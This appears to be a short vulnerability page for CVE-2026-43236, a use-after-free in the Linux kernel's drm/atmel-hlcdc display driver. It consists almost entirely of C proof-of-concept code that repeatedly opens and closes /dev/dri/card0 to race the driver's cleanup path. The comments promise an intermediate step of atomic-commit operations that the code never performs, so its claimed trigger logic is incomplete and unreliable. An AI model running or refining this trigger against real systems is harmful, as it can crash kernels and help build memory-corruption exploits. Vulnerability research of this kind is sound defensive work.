CVE-2026-43236 Linux内核drm/atmel-hlcdc释放后使用漏洞

/* * PoC Trigger Logic for CVE-2026-43236 * This snippet demonstrates the logic to trigger the UAF. * It requires a system with the vulnerable atmel-hlcdc driver. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #define DRM_DEVICE "/dev/dri/card0" int main() { int fd; int i; printf("[*] Starting PoC for CVE-2026-43236...\n"); // Loop to increase the chance of hitting the race condition for (i = 0; i < 100; i++) { // Step 1: Open the DRM device node fd = open(DRM_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); continue; } // Step 2: Simulate the scenario where fbdev is attached // (Usually happens automatically on boot for consoles) // We perform operations that might trigger atomic commits // Step 3: Close the device node abruptly while operations might be pending // This triggers the cleanup path where the use-after-free occurs // if another client (like fbdev) is holding a reference. close(fd); // Re-opening immediately to trigger the duplicate_state logic with stale pointers fd = open(DRM_DEVICE, O_RDWR); if (fd >= 0) { close(fd); } } printf("[*] Exploit trigger sequence completed.\n"); return 0; }